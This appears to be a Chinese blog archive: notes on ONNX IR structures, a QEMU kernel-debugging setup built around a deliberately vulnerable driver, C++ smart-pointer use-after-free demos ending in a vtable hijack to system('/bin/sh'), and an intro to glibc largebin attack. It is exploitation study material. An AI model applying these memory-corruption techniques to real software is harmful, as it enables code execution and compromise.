use_list uses_in_current_graph_;
bool has_unique_name_{false};
std::string unique_name_;
int32_t elem_type_{ONNX_NAMESPACE::TensorProto_DataType_UNDEFINED};
bool has_sizes_{false};
std::vector<Dimension> sizes_;
...
};

Node 代表的是计算图中的实际的或者虚拟的节点,也是 Graph 中由拓扑序构成的双向链表的节点,在进行opt时,需要维护双向链表以及其代表的拓扑排序


同时,Node 引用 inputs_ 作为节点的 operands, 持有 outputs_ 作为 def

1
2
3
4
5
6
7
8
9
10
11
12
13

struct Node : public Attributes<Node> {
...
std::array<Node*, 2> next_in_graph{nullptr, nullptr};
Node*& next();
Node*& prev();
...
std::vector<Value*> inputs_;
std::vector<Value*> outputs_;
Graph* graph_;
size_t stage_;
...
};

Graph 代表的是 function 的角色,并持有其中所有 Node 的内存


那么什么是function? 在这里,function 是一个计算机科学概念,指的是一个拥有明确输入和输出的、自包含的计算单元

  • all_nodes all_values 用于管理内存
  • output_: 作为 ret 虚拟节点,其 inputs_ 为该图的输出
  • input_: 作为 params 虚拟节点,其 outputs_ 为该图的输入
  • initializers_: 权重初始化器,包含该 function 中会用到的常量

不难看出,Graph 本身并不直接管理 Node 链表


理论上说,function 和 graph 的概念是不同的,他们的划分依据并不相同。function 一般依照功能性进行划分,而 graph 的划分依据一般是算子本身的语义需求,比如带控制流的算子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct Graph final {
...

std::unordered_set<const Node*> all_nodes;
std::unordered_set<const Value*> all_values;
...
Node* const output_;
Node* const input_;
...
Node* const initializer_node_;
// Create an independent node list for those initializers do not exist in input
std::vector<Tensor> initializers_;
std::vector<std::string> initializer_names_;

...
};

ONNX IR 的组织模式和传统编译器十分甚至九分的相似:function, value, def-use 等概念. 现在还有最后一块拼图,value 如何反向引用到其uses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
inline use_list Value::uses() const {
use_list all_uses = uses_in_current_graph_;
owningGraph()->forEachNode([this, &all_uses](const Node* node) {
if (node->owningGraph() == this->owningGraph()) {
// skip non-subgraph
return;
}
if (node->kind() == kCaptured) {
const Value* output = node->outputs()[0];
if (output->uniqueName() == this->uniqueName()) {
const auto output_uses = output->uses();
all_uses.insert(all_uses.end(), output_uses.begin(), output_uses.end());
}
}
});
return all_uses;
}

uses_in_current_graph_ 是一个在 Value 中的缓存,每当 Value 本身需要添加 inputs 时,被添加的 Value 就会更新该缓存,不过该缓存仅在当前子图中生效


Value 显式查找 use_list 时,在同一个子图中则跳过,并当 node->kind()kCaptured 时,递归查找该 node 的 use_list 并添加


可以看出这里的uses() 查找是跨 Graph 也即跨 function 的查找,并且包含直接或者间接的所有 uses (不过理论复杂度直接爆炸)

内核模块开发环境及调试

ps: OS课用

Qemu虚拟机

  qemu下载

   直接apt下一个即可, 建议使用模拟x86的qemu, 这样可以避免使用交叉编译器

  Direct Linux Boot

   一方面, 可以使用qemu-img制作一个镜像, 然后用qemu模拟运行
   qemu支持所谓”直接引导Linux内核(Direct Linux Boot)”的方式启动虚拟机, 更适合内核的测试 https://www.qemu.org/docs/master/system/linuxboot.html
   此种方式需要准备三个部分:
    1. 一个压缩的Linux内核镜像, 俗称bzImage
    2. 一个临时根文件系统initrd
    3.指定根文件设备的挂载, 如果initrd已经是一个可用的文件系统, 则此处省略
    此外这种方式还支持gdb-attach, 是之后主要的调试方法

准备开发环境

 linux-headers

   内核模块的编译和构建需要一些特定的宏, 数据结构以及函数, 这些东西常用的头文件中没有, 需要下载专门的linux-headers
   如果你的apt或者别的什么包管理器可以直接下载对应版本的linux-headers, 但极有可能是找不到的
   首先从https://www.kernel.org/, 下一个linux-6.1.129.tar.xz; 或者curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-6.1.129.tar.xz
1
2
$ unxz linux-6.1.129.tar.xz
$ tar -xf linux-6.1.129.tar
   进入源码目录之后, make menuconfig进入图形化配置界面(需要全屏), 勾选以下内容
1
2
3
4
5
# 便于调试
Kernel hacking -> Compile-time checks and compiler options -> Debug information (Disable debug information) -> Rely on the toolchain's implicit default DWARF version
Kernel hacking -> Generic Kernel Debugging Instruments -> KGDB: kernel debugger
# 兼容initrd
File systems -> Second extended fs support -> Ext2 extended attributes
   然后执行make preparemake modules_prepare, 理论上只用make modules_prepare即可, 但是没试过
   然后执行make modules -j$(nproc), 这一步是主要为了生成Module.symvers, 这样才能使用一些内核函数

 编译与构建举例

   以下是一个字符型内核模块的示例, 模块名为holstein
   来自https://pawnyable.cafe/linux-kernel/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "holstein"
#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file) {
printk(KERN_INFO "module_open called\n");

g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

return 0;
}

static ssize_t module_read(struct file *file, char __user *buf, size_t count,
loff_t *f_pos) {
char kbuf[BUFFER_SIZE] = {0};

printk(KERN_INFO "module_read called\n");

memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file, const char __user *buf,
size_t count, loff_t *f_pos) {
char kbuf[BUFFER_SIZE] = {0};

printk(KERN_INFO "module_write called\n");

if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);

return count;
}

static int module_close(struct inode *inode, struct file *file) {
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

static struct file_operations module_fops = {
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void) {
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}

cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;

if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}

return 0;
}

static void __exit module_cleanup(void) {
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);
   首先, 为了简写include, 需要配置includePath, 具体因IDE而异
   然后, 编写Makefile, kernel Module的Makefile有特殊语法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
BUILD_DIR := build
obj-m := holstein.o
KBUILD_DIR := ../_kernel/linux-6.1.129
CFLAGS_holstein.o := -O0

all:
@mkdir -p $(BUILD_DIR)
$(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) modules
find . -maxdepth 1 -type f ! -name '*.ko' ! -name 'Makefile' ! -name '*.c' ! -name 'build' -exec mv {} build \;

clean:
$(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) clean

rm -rf $(BUILD_DIR)
   编译完成之后, 出现的holstein.ko就是编译后的模块

编译内核

   在上述源码文件夹中, 使用make menuconfig配置之后, 即可开始编译内核
1
$ make -j$(nproc) bzImage
   编译完成之后, 会通知镜像的路径
1
Kernel: arch/x86/boot/bzImage is ready  (#1)

编译busybox

   现在还缺少一个initrd, 使用busybox获取, 通过busybox可以获取一个带文件系统的rootfs
   从https://busybox.net/, 下载busybox源代码或者wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2
   解压并配置
1
2
3
tar -vxf busybox-1.37.0.tar.bz2
cd busybox-1.37.0
make menuconfig
    Setttings 选中 Build static binary (no shared libs), 使其编译成静态链接的文件, 因为bzImage内核本身不提供glibc
    然后执行make install -j$(nproc), 当前文件夹会出现名为_install的文件夹
   进入文件夹, 添加一些东西, 并且把编译出的holstein.ko放进去
1
$ mkdir -p  proc sys dev etc/init.d
   在文件夹下新建一个init文件, 写入如下内容作为初始化脚本, 初始化系统环境, 上面的新建文件夹的操作也可以放在这个脚本里
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod holstein.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
   然后打包
1
2
$ cd _install
$ find . | cpio -o --format=newc > ../rootfs.cpio
   获得一个rootfs.cpio

启动Qemu

   在做完了上述工作之后, 编写一个用于启动Qemu的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh

qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel ./bzImage-6.1 \
-append "root=/dev/ram console=ttyS0 loglevel=3 oops=panic panic=1 pti=on nokaslr" \
-no-reboot \
-cpu kvm64 \
-S \
-gdb tcp::1234 \
-smp cores=2,threads=1 \
-monitor /dev/null \
-initrd rootfs.cpio \
-net nic,model=virtio \
-net user \
-enable-kvm \
   看看模块是否挂上了

Screenshot 2025-02-24 174107.png

   由于权限不够, 所以这里显示不了挂载到的地址

调试

   qemu的启动参数加上-append "nokaslr", 关闭内核地址随机化, 保证地址在每次启动之后保持不变
   在内核源码文件夹下有一个名为vmlinux的文件, 是内核的符号表, 用的上的用不上的都在里面.
   启动参数中的-gdb tcp::1234, 指的是本地的端口12345, -S参数会在qemu启动虚拟机后立即将其挂起, 方便调试
   在另一个窗口中使用: 加载符号表, 下断点
1
2
3
4
5
$ gdb -q -ex "target remote localhost:1234" 
(gdb) set architecture i386:x86-64 # 可选
(gdb) add-symbol-file vmlinux
(gdb)
(gdb) b start_kernel
   结果差不多是下面这种

63b68857-6543-4031-b299-d624a29bf77e.png

   调试模块:
   init脚本改成root用户启动
1
setsid /bin/cttyhack setuidgid 0 /bin/sh
   命令行获取模块加载地址
1
2
# lsmod
holstein 16384 0 - Live 0xffffffffc0000000 (O)
   加载符号表, 断点
1
2
(gdb) add-symbol-file holstein.ko 0xffffffffc0000000
(gdb) b module_read

Screenshot 2025-02-24 202026.png

   对照一下地址是否一致
1
# grep module_read /proc/kallsyms

Screenshot 2025-02-24 202033.png

   看起来有点蠢, 但是也没找到更好的调试方法了
   据说gef插件会方便一些(

[水贴]C++应该怎么UAF

ps1: UAF方法不全面, 没写不代表不能用或者没有

ps2: 尽量避免裸指针出现, 只在模拟漏洞(各种任意写)时使用裸指针达到目的, 也就是非必要不用.get()

智能指针

   智能指针是C++的常用特性之一, 用于解决C语言以及早期C++中的内存分配和释放过于复杂, 或者内存泄露的问题.
   一般使用的智能指针有std::unique_ptr, std::shared_ptr, std::weak_ptr, std::weak_ptr可以看作是std::shared_ptr在特定情况下的补充. 需要#include <memory>.
   然而, 即使有智能指针, 也不能高枕无忧, 因为内存问题是所有人都要面对的, 除非你是高贵的数据分析科学家, 或者你使用语言(yu’an)神Rust
   下面简单列一下本人发现的可以对智能指针UAF的方法.

shared_ptr

 内存回收方式

   shared_ptr是比较常用的智能指针, 一块堆内存可以被多个若干个shared_ptr指向, 这块内存会记录被指向的数目(引用计数shared_count), 当引用归零时, 内存被释放. 表面上看是这样的.
   实际上std::make_shared<>分配的内存有两个计数器, shared_count和weak_count(各4字节), 当然是为了配合weak_ptr使用
   那么shared_ptr在内存中是什么样的的组织方式, 下面一个demo
1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <memory>

int main(){
{
std::shared_ptr<size_t> ptr1 = std::make_shared<size_t>(0x12345678);
std::shared_ptr<size_t> ptr2 = ptr1;
}
return 0;
}

Screenshot 2025-01-24 231137.png

   上图是ptr2 = ptr1之后的栈空间
   可以看到其实比较简单, shared_ptr对象本身是 地址(指针) + 一个虚表指针

Screenshot 2025-01-24 231631.png

   上述指针(即.get()获取的裸指针)指向的一个chunk的中间部分, 对象的位置. 前面的是0x555555557cc8虚表地址, 和0x1weak_count, 0x2shared_count(use count).
   值得一提的是weak_count返回的是0, 但实际上在内存中存的是1, 在之后提到的weak_count指的是内存中的weak_count
   作用域结束之后, 分别对两个std::shared_ptr对象进行析构
   第一个析构之后, 堆肯定是没有释放的, 但是use count变成了0x1
   然后追踪一下第二个析构

Screenshot 2025-01-24 213734.png

   注意下面的调用栈, 现在在_M_release()
   movabs这一句, 0x100000001直接硬编码在指令里, 看来是有bear而来
   cmp, rax里是堆块中use count + weak count的那一个字长的拷贝. 这里就是比较此时是不是两个count都只剩1了, 也就是该堆块只有当前正在析构的指针还在引用, 如果是的话, ZF标志位为1
   sete al, 当equal(ZF为1)时, al被设置为1, 反之为0
   test al, al, 经典按位与用来判断是不是0, 结果不是0, ZF变成0
   je ..., 此时不跳转, 进入下面的堆块释放环节.
   释放的环节调用了两个方法, _M_dispose, 和_M_destroy, 但是在这之前, use countweak count被清零了, 如下图

Screenshot 2025-01-24 214047.png

   然后分别call_M_dispose, 和_M_destroy

Screenshot 2025-01-24 221428.png
Screenshot 2025-01-24 215026.png

   在_M_destory中, 在~__allocator_ptr, 之后堆块释放. 更细节的调用没再追踪了

Screenshot 2025-01-24 221129.png

   如果两个count不是1, 会进入下面的分支

Screenshot 2025-01-24 220024.png

 shared_ptr的UAF

   根据上面的分析, 得知两点
   第一, 必须要让use countweak count都是1, 才能触发堆块释放的操作
   第二, 想要让一个堆块释放, 应该先进入一个shared_ptr的析构函数, 毕竟没人会在用了智能指针之后还手动delete.
   如此, 一个简单的UAF思路产生了, 利用程序漏洞篡改两个count都是1, 然后触发析构, 如果此时还有别的shared_ptr没析构, 那么就成功UAF了, 不过需要注意的是, 因为chunk内成员的排布中, 虚表和两个count在指针获得的空间的低位. 如果想要改这两个成员, 可能需要借助别的漏洞.
   看另一个demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <iostream>
#include <memory>

int main(){

std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x12345678);

{
std::shared_ptr<size_t> ptr1 = ptr;
// change use count: 2 -> 1
unsigned int *use_count = (unsigned int *)((unsigned long long)(ptr1.get()) - 8);
*use_count = 1;
// 生命周期结束, ptr1析构, 同时触发ptr和ptr1指向的堆块free
}

std::shared_ptr<size_t> ptr_new = std::make_shared<size_t>(114514);

*ptr = 1919810; // UAF

std::cout<< *ptr_new <<std::endl;

return 0;
}

   UAF大成功, 没用的知识又增加了
1
2
3
$ g++ test.cpp -g -o test
$ ./test
1919810

weak_ptr

 内存回收方式

   首先了解一下weak_ptr的使用场景, 就是为了避免``shared_ptr```之间的循环引用.
   先看一个没有循环引用的demo, 结构体wrapper有一个成员ptr.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <memory>

struct wrapper
{
std::shared_ptr<wrapper> ptr;
};

int main(){

{
///@note wrapprx 应该叫做 wrapperx_ptr 才符合语义, 但是图都截了...
std::shared_ptr<wrapper> wrapper1 = std::make_shared<wrapper>();
std::shared_ptr<wrapper> wrapper2 = std::make_shared<wrapper>();
std::shared_ptr<wrapper> wrapper3 = std::make_shared<wrapper>();
wrapper1->ptr = wrapper2;
wrapper2->ptr = wrapper3;
wrapper3->ptr = nullptr;
}

return 0;
}

Screenshot 2025-01-25 232012.png

   如图, 在wrapper3析构之后, 对应的内存没有free. 事实上, 在wrapper1之后, 三个chunk才会一起释放. 但这个过程中, 三个wrapper指向的内存的引用计数在正确地减少.
   ps: 作用域结束时, 析构的顺序是构造的顺序是相反的, v12是赋值是产生的copy, 可以不管

Screenshot 2025-01-25 234952.png

   std::shared_ptr<wrapper>::~shared_ptr(wrapper1);析构wrapper1时, 析构了wrapper1->ptr, wrapper1->ptr指针析构时又其指向的对象(wrapper2), wrapper2析构时, 需要析构wrapper2->ptr, 析构wrapper2->ptr是析构了指向的对象*wrapper3
   *wrapper3的chunk释放之后, 调用栈回溯, 逐个又free其他chunk
   如果说话的方式简单点, 就是析构智能指针就会析构所指向的对象, 析构所指向的对象就会该对象使用的智能指针.
   在这个过程中, 三块内存保存的use_count
析构状态 chunk1 chunk2 chunk3
没析构 1 2 2
wrapper3析构 1 2 1
wrapper2析构 1 1 1
wrapper1析构 free free free
   进入正题, 有循环引用的demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
#include <memory>

struct wrapper
{
std::shared_ptr<wrapper> ptr;
};

int main(){

{
std::shared_ptr<wrapper> wrapper1 = std::make_shared<wrapper>();
std::shared_ptr<wrapper> wrapper2 = std::make_shared<wrapper>();
wrapper2->ptr = wrapper1;
wrapper1->ptr = wrapper2; // 构成循环引用
}

return 0;
}

Screenshot 2025-01-25 224711.png

   如图, 当作用域结束之后, 两块wrapper的内存都没有释放
   简单概括一下, 智能指针wrapper1析构时, 会析构wrapper对象(存在第一个chunk里), 然后析构ptr成员, 析构wrapper(存在第二个chunk里), 然后又ptr成员, 最后回去析构存在第一个chunk里的wrapper, 成功转了个圈
   析构函数应该有什么检查机制(可能是检查地址), 因为这个循环递归地析构函数调用并不会卡死程序, 但是确实会让引用计数无法正确减少, 一直都是2, 对应的两个chunk永远无法free, 变成僵尸内存.
   打破循环引用的方法之一是将任意一边的指针换成weak_ptr, 这样堆块里use_count不增加, 取而代之的是weak_count的增加
   weak_ptr有几个比较常用的方法:
   1. .expired(), 返回bool值, 表示对应的内存是否销毁(销毁不等于内存释放)
   2. .lock(), 返回一个和weak_ptr指向同样内存的shared_ptr, 如果已被销毁, 将返回一个nullptr
   3. .use_count(), 返回内存的引用计数
   上述三个特性是相关联的, 引用计数为0时, 显示已经销毁(expired), .lock()返回nullptr.
   然后关于weak_ptr造成对应内存释放的问题, 举个例子
1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <memory>

int main(){

{
std::weak_ptr<size_t> weak_ptr = std::make_shared<size_t>(0x12345678);
}
return 0;
}
   作用域结束时, weak_countuse_count0x0000000100000000, weak_ptr析构时, 顺带释放了对应的chunk

 利用方式

   方法基本同shared_ptr, 但是需要注意weak_ptr必须依赖于一个shared_ptr(否则weak_count为0, 表示销毁, .lock()返回nullptr, 无法取用该内存), 除此之外和上述share_ptr应该一致
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <iostream>
#include <memory>

int main(){
std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x123456789);
std::weak_ptr<size_t> weak_ptr = ptr;

{
std::shared_ptr<size_t> ptr1 = weak_ptr.lock();
unsigned long long *counts = (unsigned long long *)((unsigned long long)(ptr.get()) - 8);
*counts = 0x100000001;
}
std::shared_ptr<size_t> ptr2 = std::make_shared<size_t>(114514);

*(weak_ptr.lock()) = 1919810;

std::cout<<*ptr2<<std::endl;

return 0;
}
1
2
3
$ g++ test.cpp -g -o test
$ ./test
1919810
   或者反过来, 利用weak_ptr的析构导致chunk被提前释放
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <iostream>
#include <memory>

int main(){

std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x12345678);

{
std::weak_ptr<size_t> weak_ptr = ptr;
unsigned long long *counts = (unsigned long long *)
((unsigned long long)(weak_ptr.lock().get()) - 8);
*counts = 0x100000000;
}
std::shared_ptr<size_t> ptr2 = std::make_shared<size_t>(114514);

*ptr = 1919810;

std::cout<< *ptr2 <<std::endl;

return 0;
}
   效果上是一致的

unique_ptr

 内存回收方式

   unique_ptr是独占内存的智能指针, 一下是几个常用的用法
   1. 构造时用std::make_unique<T>(...)或者std::unique_ptr<T> ptr(new T(...))
   2. unique_ptr之间赋值时需要使用转移语义std::move(...), 否则编译不通过
   3. T* raw_ptr = ptr.release(), .release()方法解除unique_ptr对一个chunk的绑定(变成nullptr), 并且会返回对应的裸指针.
   4. ptr.reset(), 如果ptr不是nullptr, 那么会解除绑定并且释放内存; 如果ptr是nullptr, 则无事发生
   5. ptr.reset(...), 接受一个对应类型的裸指针, 在4的基础上, 将unique_ptr绑定到新的内存上
   然后是内存布局
1
std::unique_ptr<size_t> ptr = std::make_unique<size_t>(0x12345678);

Screenshot 2025-02-06 201603.png

   上图是chunk内的结构, 和裸指针一致, 也就是说篡改内存导致UAF不可能了, unique_ptr的创建和析构完全是编译器在编译期自动确定的.
   但是unique_ptrshared_ptr或者weak_ptr不同在于, 后两者对于chunk的释放包含在对智能指针的析构中, 要没一起没; 而unique_ptr绑定的内存可以在unique_ptr析构前释放, 即调用.reset()
   更重要的是, 没人会手动调用shared_ptr或者weak_ptr的析构函数, 但是unique_ptr.reset()却有可能被使用.
   所以, 充分考虑开发场景的需要以及开发者可能的失误, 可能会有以下的demo出现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <iostream>
#include <memory>

int main(){
size_t *raw_ptr = new size_t(0x12345678);

// 出于某些原因, 两个智能指针指向了同一个chunk
std::unique_ptr<size_t> ptr1(raw_ptr);
std::unique_ptr<size_t> ptr2(raw_ptr);

// 以及出于另外的某些原因, 其中一个先于另一个调用了.reset()
ptr1.reset();

// 此时就有了UAF
std::unique_ptr<size_t> ptr_new = std::make_unique<size_t>(114514);
*ptr2 = 1919810;

std::cout<<*ptr_new<<std::endl;

// 另外, 在此之后, ptr2和ptr_new都需要析构, 会造成double free

return 0;
}
   结果打印
1
2
3
4
$ ./test
1919810
free(): double free detected in tcache 2
[1] 65769 IOT instruction (core dumped) ./test

比较和综合利用

   由于shared_ptr或者weak_ptr绑定的内存布局的设计, 导致虚表和两个count在.get()或者operator*()取得的裸指针的低位, 实际上是不容易被篡改的 ,所以shared_ptr或者weak_ptr的UAF需要比较严重的漏洞, 这导致之前篡改两个count时显得非常刻意: 取了裸指针, 还用了强制类型转换和负偏移.
   而此处unique_ptr的漏洞, 就是说unique_ptr对象和内存依然没有一一对应, 分配的内存先于智能指针对象出现, 导致它被多个指针持有. 概括性的总结, 就是没有从头到尾使用智能指针管理内存, 以及裸指针使用不当导致的
   相较而言, 后者漏洞更容易出现, 尤其是在某些裸指针和智能指针并存的情况之下
   其次, 这里示例的unique_ptr的UAF实际上更加类似于C中的UAF.
   前面提到shared_ptrweak_ptr其实只能修改一个chunk的一部分, chunk释放之后的fdbk将无法修改(仅有UAF时)
   而unique_ptr的UAF可以修改chunk中所有的内容, 结合另外两种智能指针, 一方面可以用于篡改两个counts, 另一方面能够劫持虚表(感觉这个更有用)
   下面是第一个demo, 用unique_ptr的UAF改shared空间的counts导致chunk提前释放, 得到shared_ptr的UAF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <iostream>
#include <memory>
#include <vector>

struct TQWord{
size_t QWord_1;
size_t QWord_2;
size_t QWord_3;

TQWord(size_t _a, size_t _b, size_t _c): QWord_1(_a), QWord_2(_b), QWord_3(_c){}
};

int main(){
TQWord *raw_ptr = new TQWord({0x12345678, 0x87654321, 0xffffffff});
std::unique_ptr<TQWord> unique_ptr_1(raw_ptr);
std::unique_ptr<TQWord> unique_ptr_2(raw_ptr);

unique_ptr_1.reset();

std::shared_ptr<size_t> shared_ptr = std::make_shared<size_t>(114514);
{
std::weak_ptr<size_t> weak_ptr = shared_ptr;
unique_ptr_2->QWord_2 = 0x100000000; // UAF
}

std::unique_ptr<TQWord> unique_ptr_new = std::make_unique<TQWord>(114, 514, 1919810);
*shared_ptr = 114514; // UAF

std::cout<<unique_ptr_new->QWord_3<<std::endl;

return 0;
}
   结果当然是不出意外地打印了1919810
   第二个, unique_ptr的UAF劫持shared_ptr的虚表, 执行system(...)
   劫持之前, 来点分析, 一个demo的demo, 这里编译时-no-pie便于调试
1
2
3
4
5
6
#include <memory>

int main(){
std::shared_ptr<size_t> ptr = std::make_shared<size_t>(0x12345678);
return 0;
}
   shared_ptr的虚表在0x403d38, 有5个函数指针

Screenshot 2025-02-06 233307.png

   可以去搞清楚它们各自是干什么的, 但这里我选择直接打5个断点, 挨个看rdi

Screenshot 2025-02-06 233813.png

   到达第一处中断, 是虚表的第三个指针::_M_dispose(), rdi是虚表指针(堆上那个), 大致这样式的
1
*RDI  0x4172b0 —▸ 0x403d38 (vtable for std::_Sp_counted_ptr_inplace<unsigned long, std::allocator<void>, (__gnu_cxx::_Lock_policy)2>+16) —▸ 0x401c7e (std::_Sp_counted_ptr_inplace<unsigned long, std::allocator<void>, (__gnu_cxx::_Lock_policy)2>::~_Sp_counted_ptr_inplace()) ◂— endbr64
   与此同时, frame 5main+71, 如下图, 说明现在在析构中, 构造函数似乎没用到虚表函数

Screenshot 2025-02-06 234119.png

   到这里就够了, 可以申请一个3 * 8的空间, 第一个字长填上/bin/sh\x00或者别的什么指令的地址, 第三个字长填后门函数或者直接是system()的地址
   demo登场
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <iostream>
#include <memory>

struct TQWord{
size_t QWord_1;
size_t QWord_2;
size_t QWord_3;
};

void unreachable(const char** command){
system(*command);
}

size_t cmd = 0x0068732f6e69622f; // b"/bin/sh"

TQWord fakeVtable{cmd, 0xdeadbeef, (size_t)&unreachable};

int main(){
TQWord *raw_ptr = new TQWord{114, 514, 1919810};

std::unique_ptr<TQWord> unique_ptr_1(raw_ptr);
std::unique_ptr<TQWord> unique_ptr_2(raw_ptr);

unique_ptr_1.reset();

std::shared_ptr<size_t> shared_ptr = std::make_shared<size_t>(1919810);
unique_ptr_2->QWord_1 = (size_t)&fakeVtable;

return 0;
}

Screenshot 2025-02-07 003143.png

   这么个写法还是美中不足, 虚表函数的第一个参数(rdi)都是虚表指针(或者说地址), 导致按照上述的写法, 传给unreachable&&cmd, 需要一次解引用
   但是话又说回来, 如果虚表地址填上cmd, 确实不用解引用, 但是没法虚表劫持了
   于是想到不用system(), 可以发现rsi指向的是shared_ptr指向的数据区域, 这一部分是可控的

Screenshot 2025-02-07 120625.png

   于是, 想到把数据改成/bin/sh\x00, 这样就有一个const char*的参数, 然后后门函数方面选择posix_spawn, 下面是参数表, 可以看到它的第二个参数是path
1
2
3
4
5
int posix_spawn(pid_t *restrict pid, 
const char *restrict path,
const posix_spawn_file_actions_t *file_actions,
const posix_spawnattr_t *restrict attrp,
char *const argv[restrict], char *const envp[restrict]);
   但是还是有问题, 函数本身对file_actions有检查, rdx为nullptr可以绕过检查, 但调用这几个虚表函数时rdx都不是nullptr, 出现以下perror
1
posix_spawn failed: Bad file descriptor

large bin attack及house of cat

好不容易学点东西赶紧记下来, 不然过几天又忘记了

前情提要:

   1. 由于glibc 2.34开始, 去掉了常用的各种hook, 包括__malloc_hook, __free_hook, __exit_hook等, 标志了一个时代的落幕. 从此之后, 在没有什么特别的backdoor的情况下, 仅仅使用tcachebin, unsortedbin, fastbin等的攻击很难达到劫持执行流的目的, 所以这些方法现在更多是作为一个泄露偏移的存在
   2. 失去了hook不代表堆题就没法劫持控制流了(不然还玩个蛋), 还可以寻找其他劫持的方法. 劫持方法需要满足: 泛用性, 即大多数的情况下都存在的利用方法; 简易性, 在较少的漏洞利用的情况下就可以实现
   3. 在现有的诸多劫持方法中, 可以总结出一些经验, 就是 largebinAttack + 某种house. 其中largebinAttack手法用于预备一个ROP(或者别的什么), 以及伪造一个IO_FILE_PLUS结构体, 然后由某种手法将控制流交给ROP

年轻人的第一个largebin attack

   对于一个chunk, 当被free的时候, 如果大小小于tcachebin的上限的话, 被放进对应的tcachebin内, 如果大于的话, 会被放到unsorted bin内. 显然, 我们现在讨论后者.
    放进unsorted bin的大chunk, 会在下一次malloc时被决定自己的命运. 当malloc无法在tcache和fastbin内找到合适的chunk(当前bins中的chunk都太小), 它会遍历unsorted bin
    假如malloc依然无法找到, 同时目标的large bin没有和附近的free chunk或者是top chunk合并, 那么它就会被原封不动的放到一个large bin内
   largebin具有和其他的bins不同的构造, 对于比较小的chunk, 每个chunk size都相对常用, 所以都有对应的bin. 但是large chunk本身就不常用, 具体落到每个chunk size更少, 所以glibc做法是一定chunk size内划分一个bin, 如图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>

void *p[0x10];

int main(){
p[0] = malloc(0x390);
malloc(0x18);
p[1] = malloc(0x400);
malloc(0x18);
p[2] = malloc(0x410);
malloc(0x18);
p[3] = malloc(0x420);
malloc(0x18);
p[4] = malloc(0x430);
malloc(0x18);
p[5] = malloc(0x440);
malloc(0x18);
p[6] = malloc(0x450);
malloc(0x18);

for(int i=0; i<7; ++i) free(p[i]);

malloc(0x500);

return 0;
}

Screenshot 2024-12-12 151434.png

   上面一行0x400~0x430虽然是这么写, 但实际上只有chunksize > 0x420, 也即malloc(0x410)以上才会放到largebin
   一个largebin内chunksize是非升序排列的, 也就是从大到小的趋势 (图中从左向右, main_arena作为链表的尾) , 大小相同的紧挨着
